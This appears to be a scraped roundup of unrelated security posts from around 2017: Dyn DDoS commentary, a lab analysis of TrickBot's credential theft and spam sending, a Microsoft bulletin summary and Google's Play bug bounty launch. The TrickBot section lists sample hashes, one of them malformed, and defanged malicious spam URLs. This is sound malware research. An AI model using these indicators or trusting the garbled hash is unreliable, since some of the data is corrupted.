  • March 15, 2018: Updated to provide guidance that this alert has been superseded by newer information.

This product is provided subject to this Notification and this Privacy & Use policy.

How to start a Career in Cyber Security

I received an infographic by on the top ten tips on landing a cyber security job, I  thought it provided excellent advice for budding cyber security professionals looking to gain a foothold. 

There is a considerable shortage of experienced cyber security professionals in the UK, but starting out in cyber security is a 'chicken and egg' scenario, in that it can be difficult to land a cyber security job without having the experience, but you can't get the necessary experience without being in a dedicated cyber security role. 

If you are struggling to get into the industry I recommend initially specialising in a specific area of security, undertake training and gain qualifications. Be patient, expand upon your areas of knowledge and experience, working your way up in different roles to your dream cyber security job. Dream big, but think small.

One Year after the Largest DDoS Attack

It’s been a full year since what most believe to be the world’s largest volumetric Distributed Denial of Service (DDoS) attack occurred. The Domain Name Service Provider Dyn came under attack by two large and complex DDoS attacks against its Managed DNS infrastructureon October 21, 2016 over the course of several hours. Because of the attacks, dozens of major Internet platforms and services (popular brands such as Twitter, Spotify, Basecamp, Comcast, Reddit, Netflix and others) were unavailable to thousands (millions?) of users in Europe and North America.

Early on in the investigation it was clear that the means of the attack was the Mirai botnet, which harnessed tens of thousands of smart devices connected to the Internet of Things (IoT). With the exponential growth of IoT-connected devices, hackers will have ever-greater opportunities to leverage the Mirai code to recruit un-secured Smart devices into botnets. 2017 has yet to witness such a similar volumetric attack, but the potential still exists.

It remains unclear who carried out the attack (there have been claims from hacktivists and theories, but no definitive conclusion.) Reportedly, the attack on Dyn was 1.2 tbps in magnitude, though Dyn has not confirmed that fact. If true, then it was the largest DDoS attack ever recorded (in terms of magnitude, not length of time).

When under a DDoS attack, IT security teams typically have trouble distinguishing between good and bad traffic to their network. According to Dyn’s post-incident report, “During a DDoS which uses the DNS protocol it can be difficult to distinguish legitimate traffic from attack traffic.” Yes, it is difficult to detect and block bad (DDoS) traffic, but it’s not impossible. As DDoS hackers have become more prolific and more sophisticated, so has DDoS protection technology. An automated, real-time anti-DDoS solution can stop DDoS attacks at the edge of the network, as well as provide security event analytics and reporting.

Here’s an example of the Corero SecureWatch® Analytics in action, displaying a DDoS attack attempt:

DDoS attack

It’s not really a question of if a terabit-scale DDoS attack will strike again, but rather when. Any organization connected to the Internet, or the Internet itself can fall victim to a DDoS attack.

Fortunately, more and more Internet Service Providers have taken significant steps to detect and mitigate DDoS attacks before they impact downstream customers. These proactive service providers, in many cases provide DDoS protection as a service to their customers, and their customers are willing to pay premium security service fees for it.

Taking a proactive stance against the modern day DDoS attack requires real-time, automated protection.

TrickBot’s New Magic Trick: Sending Spam

TrickBot's New Magic Trick ==>  Sending SPAM

It has been a while since we had a blog from Arsh Arora, who is pursuing his Ph.D., which has kept him away from blogging for a bit. With his current focus on analyzing Banking Trojans and Ransomware, he came across something this weekend that was too interesting not to share!  Take it away, Arsh!

A couple of weeks ago, Gary (the boss) asked me to look into TrickBot samples as they are known to extract Outlook credentials (malwarebytes blog) and he needed confirmation. I ran the samples through Cuckoo sandbox but couldn’t gather much information because of the short run time.  As is often the case, many malware samples don't show their full capabilities without informed human interaction.  Therefore, I moved on to my favorite thing “Double click and wait for the magic.”

First Stage – Extracting the Config File

During the first run, Clifford Wilson, a new malware researcher in our lab, helped in extracting some valuable indicators. In the initial stage, we found out that when testing the TrickBot binary:

Original binary hash – 0c9b1b5ce3731bf8dbfe10432b1f0c2ff48d3ccdad6a28a6783d109b1bc07183
Downloaded binary hash - ce806899fc6ef39a6f9f256g4dg3d568e46696c8306ef8ge96f348g9a68g6660

The original binary launches a child process and then it gets replaced by a different binary that is downloaded. The downloaded binary launches a child process and the TrickBot sample gets activated after these steps.

When analyzing we found out that it launches several “svchost.exe,” it varies from 4 to 7 depending upon the time of your run.

Fig. 1: TrickBot binary with "svchost.exe"

Each of the scvhost instances have their own significance:

Svchost 1: Appears to be used to search and receive certificates

Svchost 2:  Contains strings referring to 127 different financial institutions. (complete list is mentioned below)

Svchost 3: Is the one that collects data from Outlook\Profiles such as username, password, servers, ports
Fig. 2: Outlook exfiltration 

Svchost 4: Scans the internet history to search for stored credentials

Svchost 5: Contain a list of random email ids, research is being to understand the use of those emails.

Confirmation of Svchost being launched by TrickBot binary

In order to confirm our hypothesis about the various svchost being launched by a single process and not more than one processes, researchers tested a different binary and found the results to be identical. We used Process Monitor to confirm the creation of "Svchost.exe" by the same process.

Fig. 3: Svchost Create Process

Config File : Svchost 2


This is the comprehensive list of all the unique financial institutions mentioned in the Svchost 2. It will be safe to assume that the TrickBot binary is targeting these institutions.  We have demonstrated that some of the brands experience quite sophisticated injections, prompting for the entry of credit card, date of birth, or mother's maiden name information, which is sent to the criminal.

The binary creates a folder 'winapp' under Roaming and stores all the files in that location, which is covered in the MalwareBytes blog. If your institution is here and you need more information about the inject script, contact us.

An update on the MalwareBytes blog is that the it downloads an executable named "Setup.exe" under WinApp. The interesting thing about the executable is that it is downloaded as a png and then converted into an exe. The URLs the executable is downloaded are:


Fig. 4: File being downloaded as Png

Fig. 5: Downloaded Executable
These downloaded files are also the TrickBot binary.

Fig. 6: Setup.exe under WinApp
The downloaded files being converted into "Setup.exe" and can be found under the Roaming/WinApp directory.

Second Stage - Spam aka 'Pill Spam'

After the completion of initial analysis, there was a strange pattern observed when analyzed the Wireshark traffic with 'IMF' filter. Our network ( was used as a server along with being a proxy. Our address was proxy for other messages coming from (a mailserver hosted by Terra Network Operations in Coral Gables, Florida) and (a mailserver in Prague, Czech Republic.) Also, our network was sending outbound spam.

Fig. 7: Wireshark capture with IMF filter

Outbound Spam

As can be seen in the figure 7, top 3 spam messages are outbound and are being sent from our network. There were total of 6 different spam messages with different subject line and links. The email is mentioned below:

Fig. 8: Email message

Following were some of the subjects and urls that were spammed.

Subject                                                    URL
 Affordable-priced Brand Pilules http://martinagebhardt[.]hu/w/1gox[.]php
 Blue Pills easy-ordering http://host[.]teignmouthfolk[.]co[.]uk/w/zxaj[.]php
 Eromedications Wholesale http://martinagebhardt[.]hu/w/1pyo[.]php
 Great offers on Male Pills http://host.bhannu[.]com/w/w10x[.]php
 Here we sell Branded tablets http://host[.]selfcateringintenerife[.]co[.]uk/w/l5fz[.]php
 Online offers Branded pharmacueticals http://host[.]iceskatemag[.]co[.]uk/w/lztg[.]php

When we visited these links they redirect to a counterfeit pill website featuring pain and anxiety medications such as Xanax, Tramadol, Ambien, Phentermine, and more.  A depiction of the pill website with affiliate id is shown below.

Fig. 9: Redirect to a pill website with aff id

When we tried to analyze these weblinks individually, they contained a list of php under the 'w' directory. Last, when tree walked just to the domain it led to a dating/porn website.

Inbound Spam

As can be seen in the Figure 3, there is a significant amount of inbound traffic that seems to be different spam messages redirected through our machine. It can be inferred that our network is used as proxy to avoid back tracking and detection. There were bunch of different domains that were used in the "From" addresses of these messages. An example of one such message is:

From: Walmart
To: Grazielle
Subject: =?UTF-8?Q?Huge_Clearance_savings_you_can=E2=80=99t_miss?=

The capture contained different messages from all the following domains mentioned below:

Credential Exchange

TrickBot displays a similar characteristic to the Kelihos Botnet , in a sense that it logs in to the mail server with the stolen credentials before it starts to send spam. There is a massive number of stolen credentials that were visible in plain text being distributed by the botnet.

Fig. 10: Stolen Credentials reconstructed in Network Miner

With these analysis, it is safe to assume that TrickBot is extremely tricky!! Researchers at UAB are focused to try and uncover more secrets of this malware. Will keep everyone posted with our new findings!!

To sum up, TrickBot is not only targeting your BANKING credentials but also sending you SPAM.

MS14-085 – Important: Vulnerability in Microsoft Graphics Component Could Allow Information Disclosure (3013126) – Version: 1.1

Severity Rating: Important
Revision Note: V1.1 (October 19, 2017): Corrected a typo in the CVE description.
Summary: This security update resolves a publicly disclosed vulnerability in Microsoft Windows. The vulnerability could allow information disclosure if a user browses to a website containing specially crafted JPEG content. An attacker could use this information disclosure vulnerability to gain information about the system that could then be combined with other attacks to compromise the system. The information disclosure vulnerability by itself does not allow arbitrary code execution. However, an attacker could use this information disclosure vulnerability in conjunction with another vulnerability to bypass security features such as Address Space Layout Randomization (ASLR).

Introducing the Google Play Security Reward Program

We have long enjoyed a close relationship with the security research community. To recognize the valuable external contributions that help us keep our users safe online, we maintain reward programs for Google-developed websites and apps, for Chrome and Chrome OS, and for the latest version of Android running on Pixel devices. These programs have been a success and helped uncover hundreds of vulnerabilities, while also paying out millions of dollars to participating security researchers and research teams.

Today, we’re introducing the Google Play Security Reward Program to incentivize security research into popular Android apps available on Google Play. Through our collaboration with independent bug bounty platform, HackerOne, we’ll enable security researchers to submit an eligible vulnerability to participating developers, who are listed in the program rules. After the vulnerability is addressed, the eligible researcher submits a report to the Play Security Reward Program to receive a monetary reward from Google Play.

With the ongoing success of our other reward programs, we invite developers and the research community to work together with us on proactively improving the security of some of the most popular Android apps on Google Play.

The program is limited to a select number of developers at this time to get initial feedback. Developers can contact their Google Play partner manager to show interest. All developers will benefit when bugs are discovered because we will scan all apps for them and deliver security recommendations to the developers of any affected apps. For more information, visit the Play Security Reward Program on HackerOne.

Anatomy of a spambot

For security pros, spambots are known enemies. For the uninitiated, they are unknown entities. And yet they proliferate like ants at a picnic or teens on messaging apps. You might be receiving countless messages from bots every day, and even worse, a bot might be sending out unwanted emails from your computer right now, making you an unwilling participant in digitized mayhem.

To read this article in full, please click here